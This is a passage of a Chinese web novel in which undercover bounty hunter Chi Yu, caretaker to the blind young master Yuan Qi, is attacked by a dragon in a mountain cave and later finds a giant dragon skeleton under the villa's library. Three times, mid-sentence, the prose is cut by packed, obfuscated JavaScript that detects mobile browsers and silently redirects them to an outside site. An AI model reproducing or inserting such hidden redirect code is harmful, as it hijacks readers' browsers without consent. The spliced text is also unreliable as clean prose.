别墅门被敲响,迟郁开了门,元宝端着个大箱子站在门口。 “迟哥!” 看到迟郁,他笑得露出八颗牙,一张娃娃脸上,葡萄一般的眼珠格外清亮。 “正好,你家里人寄了东西给你。喏,” 迟郁眉头拧起。 “我家里人?” “嗯,可沉了。” 把东西递到迟郁怀里,元宝按着左肩活动了两圈,临走前,嘱咐他。 “对了,马上下雨了,没什么事的话,别去后山逛。很危险。” 说完就挥手跑开了。 豆大的雨点砸落下来,在门廊前的青石板上炸开,点点洇湿成花朵的形状。 迟郁低头,看到了盒子上贴的物流信息。 [吴西山周流镇西街,AAA土鸡蛋蒋哥(迟郁表哥)] 电话留的是蒋胜宇的。 迟郁太阳穴突突跳了一下,气笑了。 手机内线来了消息,其中就有蒋胜宇的。 [小蒋:嘿嘿,迟哥,收到我这个大哥给你寄的东西没有?] [小蒋:齐队给我布置了任务,让我在你执行任务期间,担任你的家属。以后我叫你迟哥,你叫我蒋哥,咱俩各论各的。] [迟郁:是给自己选好墓地了?] [小蒋:……] [小蒋:任务任务!迟哥!金牌赏猎可以为了任务牺牲一切!] [迟郁:从现在开始我银牌。] [小蒋:……二百个俯卧撑行不QAQ] 迟郁面无表情,扫一眼另一条线弹出来的消息,最后回复一句。 [迟郁:地址直接写协会宿舍前面一条街,你是觉得很隐蔽吗?基地的移动靶也没长脑子,你不如去和它做伴。] 切换联络员专线。 [联络员徐舟客:迟哥,红外仪检测后山的山洞有强烈异动,不止一条。极端天气,你多留意。] 迟郁没回这个,而是问: [天虞山的传说,是什么。] 徐舟客发过来一条链接,封面是天虞山的照片。 他点了进去,加载结束后只有一片空白。 迟郁凝眉退了出来,联系已被切断,聊天记录连同那条链接都消失了。 门外的大雨骤至,瞬间倾盆。 乌云黑压压的遮蔽了太阳,傍晚的天空好似瞬间入了夜。 迟郁关了门,折身往回走。 别墅大厅没开灯。 闪电透过云层,短暂照亮屋内的陈设,也照亮了楼梯口的人。 骤然亮白的光照亮他的瞳孔,那双本来儒雅的眼睛如蛇瞳一般冰冷骇然。 后山突然传来某种嘶吼声,和雷声混合交错,震天响。 迟郁停下脚步,对上苍白如鬼魅的脸。 庄管家右手盘着一串棕红色油亮念珠。 他的拇指按着其中一颗珠子,沉声开口。 “天气不好,后山有野兽出没。回自己房间待着吧,没事不要出来。” 迟郁耸了耸肩,转身向自己房间走去。 蒋胜宇寄过来的东西一半是他的日常衣物,中间夹了一把电.击枪,外形是手电筒的模样,对任何生物都有瞬发压制作用。 旁边是一个小型红外接收器,车钥匙大小,只能提醒,做不到检测具体动向。 箱子最底下是登山索、登山靴、紧身作战服、防弹衣、防弹护颈、防弹内裤。 迟郁:“……” 将箱子踢进床下,迟郁抱臂看向窗外。 雨水冲刷着窗玻璃,蜿蜒成黑色的河。 他的房间在南边一隅,窗户正对着湖面上的亭台桥梁,此刻只能看见连廊灯照出来的模糊色块。 迟郁抬手推开窗。 雨声和雷声瞬间被放大数倍,连绵的鞭炮般,在形如漏斗的山坳中回响。 远处的云层中,紫金色的闪电自某个点处,像是自有生命的脉络般蜿蜒蔓延。 密集的雨水洒落进来,落在脸上,像是经年未干的泪。 迟郁想起老爹离开的前一夜。 林子里也下了这样的急骤雨。 防风灯燃出暗黄的光,迟念翁正在打包必需品。 包裹不大,他却比以往任何一次都缓慢。 再抬头时,才发现迟郁已经醒了。 “老爹,非去不行吗?” 迟念翁愣了一下,挤出个笑,眼角和鼻翼的沟壑深深弯了几道。 “我跟他们打完猎就回,你好好听族长的话,他们会照顾好你。” 迟郁却不肯,一股脑爬起来,漆黑的眼底格外坚定。 “老爹,你带上我吧,我会打猎了,我能帮你。” 迟念翁脸上的笑缓缓消失,有些惆怅地抚他的头顶。 神情复杂。 “小郁,这次不一样,这次老爹要去很远的地方。你乖乖在家。” 天还没亮,迟念翁就出发了。 迟郁装睡着,估摸他走出一段距离,悄悄跟了上去。 到部落出口的小溪旁,看到了两道送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325684|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的身影。 他将身体藏进一旁的灌木丛,偷听到了老爹和族长的对话。 “他们要猎的,不是普通的东西。这一单,弄不好是要遭天谴的。我这一去,不知道能不能再回来,你带着大家换个地方好好生活。帮我……照顾好小郁。” 窗外的闪电骤然照亮迟郁幽深地眼底。 远处的山洞里又传来野兽般的嘶吼声。 迟郁收回心思,抬手合上了窗。 这才听到一墙之隔,隐隐传来某种隐忍痛苦的声音。 隔壁是元起的房间。 迟郁犹豫了一下,还是去敲了门。 里面许久没有回应,那痛苦的声音在走廊缓缓放大。 迟郁直接拧动了门把手,门没反锁,他径直走了进去。 闪电下,床侧边隆起一块。 元起侧躺着缩成一团,肌理分明的手臂曲起落在枕边。 他似乎梦魇了,明明发出小兽般痛苦的呜咽,攥着拳,眼睛也紧紧闭着。 苍白的脸上浮出一层薄汗。 迟郁喊了一声,他似乎根本听不见。 直到他带着凉意的指尖摸到元起脸颊的滚烫,他浑身震了一下,蓦地睁开眼睛。 闪电骤然照亮他的脸庞,那双眼底有着惊惶,手探了一下,抓住了迟郁的掌。 “迟郁?” 迟郁沉声道:“你发烧了。” 他想起第一天面试,庄管家嘱托过的注意事项:少爷发烧的时候,身边不允许留任何人,包括他在内。 于是他说:“我去叫庄管家。” 手却被人抓着不松,他回过头来。 元起白皙细长的手指越抓越紧,好像溺水之人抓住浮木,他刚醒,声音微微沙哑,又因为发烧有些脱力。 “每次雷雨天总会这样……” 说话间,鼻息呼出的灼热气息喷洒在迟郁手上,轻羽瘙痒般落在他掌心的茧上,迟郁肌肉紧实的背脊僵直了一下。 不想过早暴露,他还在坚持:“庄管家说——” 似乎在他手上找到了清凉,元起忽然凑近了,像是小动物一般用额头和鼻尖蹭了蹭他的手掌,将迟郁的话也蹭了回去。 “新的一天了,可以继续讲你的故事吗?” 迟郁顿了一下,蓦地笑了。 “不是我的。” 元起根本不在意这些,他只想听故事。 那双漂亮的大眼睛就这么期待的望着他,因为失去光泽,闪电骤然照亮,像是小动物的依赖和臣服。 ……看起来,很好欺负。 迟郁蓦地抽回了自己的手。 那张脸上瞬间显出委屈和无措。 迟郁反身坐在了床边,缓了会儿,沉声开口。 “那是小猎人第一次走出部落,一路上的一切都让他感到新奇且茫然。饿了,他就猎野兔野鸟吃,渴了就摘野果吃。一直到走出了林子,第一次见到高楼林立,飞机,火车。对他来说都是从没见过的世界。小猎人一心只想找到老猎人,直到遇到一个人说可以帮他,他就跟着对方走了,结果被骗光了东西,还被卖到了一个供人投注取乐的猎人俱乐部里。” 元起瞪着一双大眼睛认真听着,仿佛听到了什么有趣的童话故事。 迟郁觉得好笑,想起他上次说的“故事跟别人的不一样”,难得主动问。 “你以前,都听什么睡前故事?” 少年脸上的专注和好奇渐渐消散下去,取而代之某种隐忍。 许久没回答。 迟郁转身去看他。 窗帘没拉,一道闪电贴着窗户劈开,将房间照的彻亮。 光亮中,迟郁清晰地看到元起的脸颊上浮现出一层鱼鳞般的纹路,闪电下,反射着某种冷白色的金属光。 5. 洞中怪物 元起浑身滚烫,眉头紧紧皱着,意识近乎模糊。 迟郁抬手,用拇指拂过他脸颊上越来越明显的鳞片。 比鱼鳞坚硬,光滑犹如金属表面。 一下子让迟郁想起了老爹走的那天清晨。 嘱托族长照顾好迟郁后,他掏出一片手掌大的黑色鳞片。 “这是那东西身上的。沉了两条船……死了十七个人,只取下来这么两片……这里已经不安全了,你带着大家,走吧……” 迟念翁没再说下去。 于晨雾中,越走越远。 直至消失。 迟郁掏出手机,才划到拍摄,身后响起一道森冷的声音。 “你在做什么?” 迟郁手下一滞,收起手机。 庄管家已经走了过来。 他脸上带着不正常的白,脑门上覆盖了一层薄汗,头发微乱,衣领的盘扣少扣了一颗。 罕见的狼狈。 迟郁站起了身,露出无意识呻吟的元起。 “他发烧了,正准备喊你。” 庄管家越过迟郁,挡在了元起身前。 “你看到什么了?” 迟郁反问:“什么?” 窗外的雷声短暂止息,屋内的呼吸声混合着沉闷的雨声被放大。 下一道雷响起,元起扭动了一下,庄管家的手掌覆盖他的额头,终于又开了口。 “你回房吧,这里交给我。” 迟郁没有多问,径直回了房间。 夜间的雨势渐大,闪电把窗外照的昼亮。 迟郁双手交叠枕在脑后,阖眼眯了一会儿,被雨声和雷声都遮掩不住的嘶吼咆哮声吵得睡不着。 副楼那边突然传出一声玻璃炸裂的声音。 迟郁倏地坐起身。 隔壁房间久久没有动静。 他从床下抽出纸箱,翻出黑色皮衣套上,抽了把趁手的匕首别再自己腰间的装备带上,带上了那个手电筒形状的电.击枪和红外探测仪,撕开一条口香糖塞进嘴里就出了门。 走廊格外寂静,仅有两盏壁灯照亮。 尽头的图书馆上了锁,迟郁松开把手,向副楼走去。 ——玻璃碎裂声是从那边传出的。 出了大门,整个人就隐匿在雨幕中,好似天地间唯一的行者。 副楼大厅没开灯,后窗被吹开了一扇,玻璃碎了一地。 迟郁拿着手电筒照了一圈,刚要离开,忽然又转回了头。 他仰头看向那面有十二生肖雕像的墙壁。 原本只有线条的龙身上此刻也覆上了通体碧绿的玉石。 和其他十一个不同,那龙有着栩栩如生的眼睛,身上的宝石在黑暗中散发着流动的光。 迟郁拿手电筒照了一圈,宝石仿佛吸收光源,流动性更加明显了。 窗外又传来一声嘶吼。 清晰,极有压迫感,掺着痛苦。 这次迟郁听清了,声音出自连廊尽头的那个山洞。 从碎裂的玻璃望去,刚好能看到那边黑洞洞的入口。 他走近了,两指撑着窗台,径直翻了出去,向洞口走去。 口袋里的红外探测仪突然震动起来,越靠近洞口,震感越明显。 野兽嘶吼声越来越清晰。 迟郁穿过连廊,脚下忽然踩到个明显的凹陷。 他拿手电照了过去。 重新刷过漆的木地板和扶手上,有三道巨大的破损,像是某种抓痕。 但是什么东西能有这么大的爪子。 迟郁瞬间想到了徐舟客之前说的话。 龙? 他想到了元起脸颊上的鳞片,扣动手电底部的按钮,启动充能瞬发模式。 连廊和山体断开了一截,断口处并不规则,像是被重物生生砸断的。 口袋里的红外探测仪震感已经达到极限,像是某种警告。 与此同时,手机也震了震。 迟郁抹了把眼睛上的雨水,掏出手机。 消息来自徐舟客。 [联络员徐舟客:迟哥,我从红外仪看到你在洞口附近。那东西正在洞里,大概得有十几米长,你千万小心。] 雨水模糊了下屏幕,迟郁拿衣袖略了一下,看到了下一条。 [联络员徐舟客:上次那个线人,就是在洞里失去的生命体征。] 迟郁没回,把手机装回口袋。 那洞口就在眼前,隐隐可以闻到一股苔藓混合着海鲜咸腥的味道。 他曲膝蓄力,一步越到对面。 洞里的嘶吼停住了,转而变为了猛兽喷吐着鼻息的声音。 迟郁抬手拨开洞口的藤蔓,极细微的动静,洞内的吐息声戛然而止。 迟郁不动声色地举起手电筒朝里晃了一下。 下一秒,一阵劲风袭过,迟郁几乎是同步扣下了发射键。 电光擦着金色的鳞片而过,粗壮如树干的尾巴震颤了两下,紧紧缠在迟郁腿上。 失重的感觉骤至,迟郁被猛地拉进了洞里。 手电筒滑落,向山脚坠落。 迟郁反手抽出了腰间的匕首。 那尾巴像是坚硬滚烫许多,顶端一排背鳍,拖着他飞速进了洞。 来不及适应黑暗,迟郁只能听声辨位,凭着直觉,在被送至那东西面前的时候,猛地挥出匕首。 他这把匕首是协会特制的,刀刃用了纳米材料,削铁如泥。 刀尖划过坚硬的鳞片激起一道火花,十几公分后终于穿破了鳞片,在皮肉上划开一道长而浅伤痕。 那庞然大物嘶吼一声。 巨大的鼻息带着腐叶的味道喷吐在迟郁脸上。 下一秒,一只巨大的爪子把迟郁的手臂连同上半身紧紧抓住了。 胸腔的空气瞬间被挤压一空。 虽然看不见,但他几乎肯定就是在连廊留下痕迹的那个爪子。 闪电瞬间照亮洞内。 迟郁的视线对上一双巨大的犹如深渊的金色竖瞳,像是两道穿越时空的门。 那深渊怒视着他,张开了血盆大口凑近了。 迟郁脑子里闪过徐舟客的提醒。 [上次那个线人,就是在洞里失去的生命体征。] [咬死线人那个……不像是已知的大型猛兽。] 手臂被禁锢着,匕首失去了用武之地,迟郁接住从口袋里滑出的手机,盲按到拍摄功能,对准了对面的庞然大物。 闪光灯亮起的瞬间,他看到了一颗硕大的头颅,奇长的触须,还有近乎顶到洞口的角。 血盆大口带着灼热的气息凑近他的脑袋。 迟郁扯了扯嘴角,扭头吐出了口香糖。 尖利的巨爪嵌进后背,钻心的疼。 他轻蹙着眉。 那东西蓦地停了下来。 下一秒,迟郁被一股力道甩出了洞口。 他抬手抓住断裂的栈道口才不至于跌落山脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325685|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大雨瞬间冲刷进他的伤口,鲜血顺着衣服流淌而下。 迟郁深吸几口咸腥的气息,上臂用力跃了上去,稳稳落地。 他划开手机,徐舟客的消息疯狂弹着。 [联络员徐舟客:迟哥你没事吧!] [联络员徐舟客:我这边显示你生命体征异常,你受伤了?] [联络员徐舟客:撑住!我已经转达总部,金牌赏猎他们不会不救。] [联络员徐舟客:别死!别死!我舍不得你啊迟哥!像你这么心狠嘴毒的赏猎天下无二啊。] 迟郁捂了捂胸口,沿着连廊栈道缓缓往主楼走。 [迟郁:你红豆吃多了?] 对面几乎秒回。 [联络员徐舟客:啊?] [迟郁:相思。] [联络员徐舟客:是是是,表达了本作者的思乡之情。] 打趣完。 [联络员徐舟客:你没事了?] 迟郁罕见地回了他“嗯”。 [迟郁:我拍到了那东西。] 他点中发照片,视线落在屏幕上。 闪光灯将洞内照的彻亮,屏幕几乎被一颗巨大的头颅占据。 轮廓很像骆驼,只是更为巨大,头顶一对巨大的角,长而结实的嘴筒,一对硕大的竖瞳的金色眼睛,反着光,亮且骇然。 那双眼睛,似曾相识。 迟郁盯了两秒,点了发送。 [迟郁:发你了。] 第二天一早,天放了晴。 鸟儿清脆的叫声在山间回荡。 迟郁身上的伤口简单包扎过,他特意穿着深色衬衣,扶着元起做康复运动的时候也神色如常。 可元起还是发现了不对劲。 休息的时候,他没接迟郁递过来的水,而是问:“你受伤了?” 迟郁挑眉,诧异看向他。 似乎猜到他的疑惑,元起轻声道:“你身上有血腥味。” 迟郁微讶,轻笑:“少爷,你鼻子怎么比小狗还灵。” 不满他这个形容,元起皱眉抗议。 迟郁却弯腰凑近,手倏地搭在了他额头上。 离得太近,两人呼吸都交叠在一起。 元起茫然瞪着空洞的大眼睛,身体绷直,耳根先红了。 迟郁一副浑然不知的样子,视线盯着元起近在咫尺的脸颊。 白皙,五官清隽柔和,皮肤十分细腻,毛孔都看不见。 没有鳞片。 低沉磁性的嗓音落在元起耳边,仿佛自说自话:“嗯,退烧了。” 元起耳根的烫意一霎蔓延至脸颊。 那人和他的手终于远离。 迟郁笑着解释:“别担心,我只是不小心被灌木丛划伤了。小伤。” 脸上的红意更甚。 元起接过他手中的水,明明看不见,却还是羞恼地偏了头。 “……谁担心你了。” 迟郁笑着耸了耸肩。 下午,趁着元起泡澡的时间,迟郁去了趟副楼。 昨晚破裂的窗户已经修复一新。 他第一眼就去看墙壁上的浮雕。 一整排镶了宝石的生肖浮雕安静矗立着,只有龙的不一样,粗线条的轮廓,没有任何宝石镶嵌。 “迟哥!你怎么来了?” 迟郁回头,元宝一脸笑意走了过来。 他的脖子似乎受了伤,贴着很长一条纱布。 6. 巨骨 迟郁的视线死死盯着他。 “你受伤了。” 肯定的语气。 元宝摸了摸脖颈。 “啊,这个。” “昨晚刮大风,有扇窗玻璃被吹破了,我收拾的时候刚好被落下的残渣砸到了。小伤。” 说完,他从口袋里摸索出个白色手帕,展开,里面包着电.击枪和接收器。 “这个手电和钥匙是你的吧?”他挠了挠后脑勺,“我今早巡山捡到的。问了好多人都说不是,后来查主楼监控,看到你出门拿着这个。” 迟郁接了过来。 “昨天那么大雨,你出门做什么去了?”元宝问。 “听到玻璃碎了,来看看。” “噢。”元宝掩唇咳了咳,移开了视线,“那你看到什么没?” “没有。那边山洞有野兽叫,我想去看看,结果桥断了,人差点掉下去。东西就是当时掉下去的。” 元宝肉眼可见地松了口气。 迟郁抽出一条全新的绿箭递了过去:“新口味,尝尝吗?” 元宝眼睛一亮,终于直视他,脸上浮现出童真的笑:“要!谢谢迟哥。” 迟郁牵唇。 “表弟!” 身后一声激动地呼喊,两人循声望去。 蒋胜宇穿着条纹短袖衬衫,夹着个棕色公文包,他激动地挥手,公文包“啪”地掉在了地上。 蒋胜宇狼狈捡起,跑过来拍了拍迟郁的肩膀。 “可算找到你了。” 迟郁瞬间就皱起了眉。 蒋胜宇喋喋不休:“哎哟,你都不知道,我在主楼那边找半天没见着你人,倒是快把动物园逛遍了。不是我说,你这新单位是和什么人类特殊面貌培育机构有合作吗?我这辈子没见过这么多长得这么别致的人。” 他一副消化不良的模样,不堪回味。 “就一个老管家长得最周正。该不会是他暗恋那个少爷,想独占他,故意招那么多歪瓜裂枣吧?” “你!”身后的元宝顿时愤慨开口,“庄管家侍奉元家大半生,是很好很好人,你不要乱说!” 蒋胜宇的视线落到元宝头上。 “哟,你这小孩也长得不错,你也喜欢你家少爷?” 元宝顿时涨红了脸,“你”了半天,憋出来一句:“我只是少爷的守卫。你不要胡说。” “守卫?”蒋胜宇蹙眉,尔后恍悟,“保安啊。” 元宝稚气的脸上一脸委屈。 蒋胜宇低头,很老派地翻了翻公文包夹层,掏出一袋挤扁了的鸡蛋。 “你吃茶叶蛋不?我特意在家煮好了的,正宗土鸡蛋,老香了。” 迟郁太阳穴突突跳动,忍无可忍,话几乎是牙缝里挤出来的:“你来干嘛?” “来看看你呗。”蒋胜宇演的全情投入,“你出门面试就再也没回去,家里人都很担心,这是正经工作吗?” 一旁的元宝终于理清了思路,抬手指他:“哦——你是那个AAA土鸡蛋蒋哥!” “哎,对咯。”蒋胜宇顿时乐了,大方递上手里的鸡蛋,“小孩,你吃不,正宗家养走地鸡。” 元宝看了眼迟郁,很给面子的接过了。 眼看着蒋胜宇还要演,迟郁一把拎起他的后衣领:“我先带他过去。” 不等两人反应,就拎着蒋胜宇往主楼走去。 出了副楼走了一段,蒋胜宇轻拍着迟郁的手臂,脸涨成了猪肝色。 “哥,咳咳……迟哥,上不来气了。” 迟郁终于松开了他。 蒋胜宇搓着脖子缓了一会儿。 “昨天你的联络员通知了总部,说你遇袭受伤了,这不,齐队今儿派我来看看情况。” “你没事吧?严不严重。” “昨天不就说了没事。”迟郁凝眉,烦躁协会的小题大做。 “怎么没事,被那么大个东西袭击——” 蒋胜宇展臂比划了一下,压低了声音:“上次那个线人就是被这玩意儿咬死的吧。是龙吧?迟哥,世界上真有龙啊!” 他说着,因为压着激动拔高了声调。 “你拍那照片我看到了,迟哥,你也太牛逼了!不愧是金牌赏猎六连冠军,能在龙手底下逃脱啊!” 迟郁突然回头看了一眼远处的元宝。 他一口塞了一整个鸡蛋,被噎得脖颈梗得老长,又牵动了脖子上的伤口,满脸痛苦地捂着脖子,转来转去找水喝,像个忙碌的小动物。 蒋胜宇也跟着扭过头去,还没看清,头就被迟郁拧螺丝一般拧了过去,携着走。 “我没逃掉。”他说。 “啊?” “是它放过了我。” 进主楼的时候,蒋胜宇眼睛由不得瞥打扫的保洁。 “这元家少爷是不是有什么毛病啊?怎么招的人都这么——” 他一副一言难尽的表情。 “他有恋丑癖。” 迟郁很直接。 蒋胜宇惊了:“那你怎么——” “他是瞎子。” “……难怪。” 迟郁带着他回了自己房间。 房门一反锁,蒋胜宇直截了当道:“快,把衣服衣服脱了。” 迟郁挑眉,开始撸袖口。 “呃……”蒋胜宇顿时怂了,挥了挥手机,“我得看看你的伤口,齐队让拍照发回,也是重要资料。” 迟郁瞪着他畏畏缩缩的模样,还是转过身去解了扣子。 衬衣脱下的瞬间,蒋胜宇倒吸了一口凉气。 男人宽厚结实的背肌上缠了厚厚的绷带,已经被血液浸透。 “迟哥……你怎么没好好处理伤口!” 他又惊又急。 迟郁十分淡然的一圈圈解开了绷带。 “处理了,又崩开了。” 五个深可见骨的伤口露出来的时候,叫人触目惊心,作为赏金猎人的蒋胜宇都沉默了半晌。 他快速拍了几张照片,迟郁后背的血已经顺着腰窝流进裤子。 他赶忙扯过绷带帮忙按住:“这样不行,附近没有医院吗?” 迟郁看傻子一样看他:“顶着这个伤口去医院,你想好上社会新闻怎么自我介绍了吗?” 蒋胜宇一噎。 灰溜溜地拧开消毒药水,闷声帮他涂。 才上完止血药重新绑了绷带,门就被敲响了。 两人对了个眼色,迟郁套上衬衫,蒋胜宇拉开了门。 迎面没看到人,视线下移,他才看到了坐在轮椅上的少年。 只一眼,蒋胜宇就看成了呆比,耳根先红了。 元起听到门开却没听到迟郁的声音,只好微微仰着头,纤长的手指递过来一个瓷白的瓶子。 “这个给你,特制药,有助于伤口恢复。” 杵在门口的蒋胜宇如梦初醒,他接了过来,看一眼元起,脸更红了,声音都有些不自然起来。 “啊?哦……” 元起这才听出对面不是迟郁,脸上露出防备忌惮的神情。 迟郁径直从蒋胜宇手中接过了瓶子,轻笑:“谢了,少爷。” 元起犹豫着问:“他是……” 想到他现在的头衔,迟郁憋闷。 蒋胜宇十分自来熟地上去握元起的手,才触到指尖就被元起很嫌弃地躲开了。 他也不在意,乐呵呵自我介绍:“你好元少爷,我是迟郁的表哥。很高兴认识你,嘿嘿。” “……你好。” 元起了然,面上还是有些接触生人的不适感。 迟郁耸了耸肩,一把把蒋胜宇拎到身后。 陌生人的气息远离,元起肉眼可见地放松了下来。 “少爷,他可能今晚要在这边住一晚,方便吗?” 蒋胜宇眼睛一眨不眨盯着元起,笑着猛点头,尔后才反应过来他看不见,连声附和:“对对对,方便吧?” “可以。” 元起掩唇轻咳了咳:“你受伤了,最近我泡澡,让其他人来就好。你好好养伤。” 说完,不等回应,元起就按动按钮,向书房的方向滑去。 迟郁的视线一直追着那道身影至走廊尽头。 直到蒋胜宇拿胳膊搡了搡他才回神。 “迟哥,你还得给他洗澡?” 迟郁有种被揭了老底的尴尬,睨着他,语气不善:“怎么?” 蒋胜宇摇头。 “那真是便宜你了。” 迟郁:“……” 凌晨,过了两点,整个别墅寂静无声,惟有窗外偶有几声虫鸣鸟叫。 迟郁下床穿好轻便装备,一脚踹醒打地铺半张着嘴的蒋胜宇。 蒋胜宇腾地坐起来:“怎么了!迟哥?” “走。” 蒋胜宇没有多问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325686|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,搓了把脸换了衣服。 “匕首给我。” 蒋胜宇掏出匕首递了过去,迟郁把刀和手电筒一起别再腰间,拉开了门。 走廊尽头的藏书室没锁。 两个人进去,循着月光,迟郁找到龙头香炉,先在角落放了个微型探测仪,然后拧动了香炉。 书架暗门隆隆打开,显出地下通道的时候,蒋胜宇发出一声惊呼。 “我靠,这什么地方?藏得也忒深了。” 迟郁反手掏出手电筒,对着深不见底的下面晃了晃,尔后沿着楼梯走了下去。 两人下到楼梯转角,身后的书架暗门突然又有了动静,格楞楞地自动合上了。 “哎!” 蒋胜宇有些着急,就要上去看。 迟郁抓住他后背的衣服,冲下方摆了摆头:“时间不多,先下去探探。” 旋转楼梯仿佛没有尽头,两个人走得微微出汗。 密闭的通道里有一股木头陈腐的味道,混合着一种异香,越往下越浓郁。 蒋胜宇深吸了一口气。 “迟哥,咱是不是遇上鬼打墙了。谁会这么无聊建这么深的地下室,我估摸得有十多层楼深了吧,不见天日的,藏啥啊。” 才说完,他就伸长脖子小狗一样深嗅了嗅:“好香啊。” 迟郁举着手电筒照了一圈,随意开口:“小心被毒死。” 蒋胜宇顿时捂住口鼻大惊失色:“比你的嘴还毒吗?!” 楼梯只剩下四五阶,迟郁冷沉着脸,直接一脚把人踹了下去。 蒋胜宇皱眉爬起,拍了拍自己身上的土:“迟哥,你是不是当保姆当得内分泌失调了?火气这么大。” 在迟郁的脚又抬起来之前,他对着迟郁做了个挑衅的动作,转过头就发出一声短促的“卧槽”。 两人循着光源仰头。 地下室呈圆筒塔状,一圈墙壁被各色贝壳、珊瑚珍珠,以及某种闪着银光的鳞片覆盖,呈现一种瑰丽的景象。 那鳞片大小各异,最大的有盾牌那么大,小的有成人巴掌那么大。 珍珠也不似普通珍珠,颗颗散发着流动绮丽的光。 照亮了整个空间。 地下室正中间有一座白色玉石搭砌的台子,台子上立了一根巨大的柱子。 那柱子上盘着一具巨大颀长的骸骨,在珍珠微光的照亮下泛着森白的光,骸骨顶端,一个硕大的头骨上竖立着一对足有四五米长的角,保持张嘴的姿势,露出两排尖利的牙齿。 整个骸骨在盘踞状态下保守估计有五十多米。 蒋胜宇一连几个“卧槽”。 “迟哥,我们这是……找到龙宫遗址了?” 他立刻合十对着柱身拜了拜:“不知道哪个海的龙王爷,请保佑我今年多接S+大任务,雇主不用包活,轻松获得年度优秀赏猎奖,同事温和善良不嘴贱。我不是说你毒舌冷血啊迟哥……保佑我哎哟——” 话没说完,迟郁又一脚把他得一个踉跄。 迟郁睨着他:“你们这一届体检没测智商吗?” 蒋胜宇搓了搓被踹的大胯,终于消停了。 两人捏着手电凑近仔细看。 从表面的痕迹看,它已经被放在这边有些年头了。 骸骨十分完整,四只手臂和利爪以抓握的姿势固定在柱子上。 迟郁掏出手机放大拍了几张照。 深入地下,空气里泛着森森寒意,很快逼退了身上的汗意。 手机没有信号,迟郁瞥一眼时间,3点34分。 蒋胜宇惊得直爆粗:“迟哥,这他妈也太大了吧,我摸了,是真骨头!不是标本!合着咬死线人还有昨天袭击你那个还是个宝宝……” 说着,他感同身受般搓了搓自己的脖颈,打了个寒颤。 “原以为那同事怪惨了,现在看来,能留个全尸居然已经算幸运了。” 台子底部纂刻了一行字。 笔锋粗糙锐利,像是某人带着浓烈情绪一刀一刀刻上去的。 [此仇不忘,血债血偿。] 迟郁盯着看了许久。 身后忽然传来一声低呼。 迟郁回头,就看到蒋胜宇想抠一片鳞片没抠下来,反而被划伤了手。伤口瞬间就被强腐蚀物腐蚀了,烫的皮肉都翻出来,流出浓黑色的血。 与此同时,迟郁口袋里的红外接收仪器剧烈震动起来。 7. 相亲 没时间犹豫。 迟郁利落地抽出匕首,挑掉伤口最上层的皮肉,然后翻过蒋胜宇T恤下摆缠了几圈让他压住。 “走!” 两人一路无言回到了楼梯口,蒋胜宇脸色惨白,汗水顺着脑门滚落下来。 暗门恰好留着一条不太明显的缝隙。 隔着缝隙,迟郁看到月光下,轮椅上的元起左手托着一本厚实的精装书,右手食指和中指轻轻抚过上面的字符,低声轻喃。 “于是在这一千零一夜的第一夜,山鲁佐德开始讲述下面的故事。” “正是靠着这些故事,山鲁佐德拯救了自己的性命,也挽救了无数无辜妇女的性命。” 月光为元起镀上了一层柔和的纱衣,他的目光落在前方,眉头无意识轻蹙着,模样专注而认真。 念完,他微微歪着头,掂了掂沉甸甸的书本,认真疑惑:“真的有一千零一个吗?” 走廊发出沉闷的脚步声。 元起慌乱地把书放在腿上,按动轮椅躲在了书架后。 书房的门被推开。 来人是庄管家。 月光照出他肃穆的神情,庄克绷着脸,锐利的视线扫过书房的每个角落。 蒋胜宇的汗顺着滴到地板上。他咬牙忍着痛,借着月光抬手看伤势,血液已经浸湿了大半衣摆,深重黏湿。密道里弥漫着一股咸腥的铁锈味。 指关节不小心撞到了书架背面,发出了不小的声响。 元起循声偏头。 庄管家锐利的视线瞬间扫过来。 “谁在那?!” 几乎是瞬间,迟郁抽出了腰间的匕首。 下一秒,元起缓缓从书架后驶了出来。 “庄管家,是我。” “少爷?您怎么在这。”庄管家的神情瞬间从防备转为担忧。 “我睡不着……想找本书看。” 自从元起眼睛看不见后,书房给他配备了盲人触摸导航和立体字特制书。 庄克的视线落在了元起腿上那本童话书上,眉头当即蹙了起来。 他抽走书拍在一旁,绕到后面握住轮椅的把手。 “吴医生说了,您需要好好休息,回去吧。实在睡不着的话,我给您讲睡前故事。” 元起的手死死抓握着扶手,白皙的手背上青筋浮现。 “庄管家,我不想听那些故事了。” 庄克温声安慰:“听话,少爷。这样有助于入睡。您明天还有重要活动。” 元起深吸了一口气,清瘦的背脊微微塌下去,手也脱了力,任由庄管家将他推了回去。 